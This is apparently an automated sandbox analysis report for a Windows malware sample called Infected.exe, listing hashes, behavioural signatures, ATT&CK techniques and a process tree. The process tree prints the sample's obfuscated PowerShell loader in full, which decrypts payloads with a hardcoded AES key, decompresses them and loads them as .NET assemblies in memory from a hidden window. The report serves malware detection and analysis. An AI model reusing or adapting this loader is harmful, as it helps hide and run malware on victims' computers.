06bf5c4fae8a3daae451bd03bd5c2939c3698779d11fe438bf3cbe00d7d8f116

Analysis

max time kernel
120s
max time network
125s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
14-07-2024 21:45

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General

Target

Infected.exe
Size

4.6MB
MD5

35eefe804869dc29fb80b873a22b5429
SHA1

e360ffd23f110a02fede39d6cf5c11bad9942a7e
SHA256

06bf5c4fae8a3daae451bd03bd5c2939c3698779d11fe438bf3cbe00d7d8f116
SHA512

f6e76e5d768666232781cab6230a6c7bc2e1d95988442240875b94264db41412d66bfae39b3097dbab44585d4e6f124543e3a2d9a0a6c4374ed3bef6490fda9b
SSDEEP

98304:tV/iK0UflRkkurEShUyGgjTbOMqYW9MSJjJ473+jzJQ9Dy8DB89U:fzDRkkurEyRjTPqYbSVm732dQA8DBB

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2632	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2632	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2632	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2948 wrote to memory of 1964	2948	Infected.exe	30
PID 2948 wrote to memory of 1964	2948	Infected.exe	30
PID 2948 wrote to memory of 1964	2948	Infected.exe	30
PID 2948 wrote to memory of 1964	2948	Infected.exe	30
PID 1964 wrote to memory of 2152	1964	cmd.exe	32
PID 1964 wrote to memory of 2152	1964	cmd.exe	32
PID 1964 wrote to memory of 2152	1964	cmd.exe	32
PID 1964 wrote to memory of 2152	1964	cmd.exe	32
PID 1964 wrote to memory of 2632	1964	cmd.exe	33
PID 1964 wrote to memory of 2632	1964	cmd.exe	33
PID 1964 wrote to memory of 2632	1964	cmd.exe	33
PID 1964 wrote to memory of 2632	1964	cmd.exe	33

C:\Users\Admin\AppData\Local\Temp\Infected.exe
"C:\Users\Admin\AppData\Local\Temp\Infected.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2948
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1964
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zf2tMBcGp3hwF4FZUItmcIgUcPp+j72YioWbRlDJta4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bO8cIdciqhKkrYo83c3cUQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $nVxAI=New-Object System.IO.MemoryStream(,$param_var); $BIIJJ=New-Object System.IO.MemoryStream; $Yvhyo=New-Object System.IO.Compression.GZipStream($nVxAI, [IO.Compression.CompressionMode]::Decompress); $Yvhyo.CopyTo($BIIJJ); $Yvhyo.Dispose(); $nVxAI.Dispose(); $BIIJJ.Dispose(); $BIIJJ.ToArray();}function execute_function($param_var,$param2_var){ $gxqAr=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $NltzE=$gxqAr.EntryPoint; $NltzE.Invoke($null, $param2_var);}$nwWil = 'C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.bat';$host.UI.RawUI.WindowTitle = $nwWil;$DprSi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($nwWil).Split([Environment]::NewLine);foreach ($dZZtp in $DprSi) { if ($dZZtp.StartsWith('vqImMRbNlIuMBiftLQqW')) { $igWwD=$dZZtp.Substring(20); break; }}$payloads_var=[string[]]$igWwD.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:2152
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2632

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.bat

Filesize
5.6MB

MD5
4a7d24799a4fb25ccf141b6e7ac5ae65

SHA1
cf7606a711025e9a648aaea03547cf4a5a1c439b

SHA256
f588fa3dfcdb422d0460fd7778524417dc758dad980c9dfc78d6ca3c4f2dd64b

SHA512
10517e84ec64a8c7058cea2fbe05d326224541a46b8caff688d05d148387b5b935f22e0c3d180e879996fd37f7486212cf3f91a5445c45c67150b0ebba6b185c

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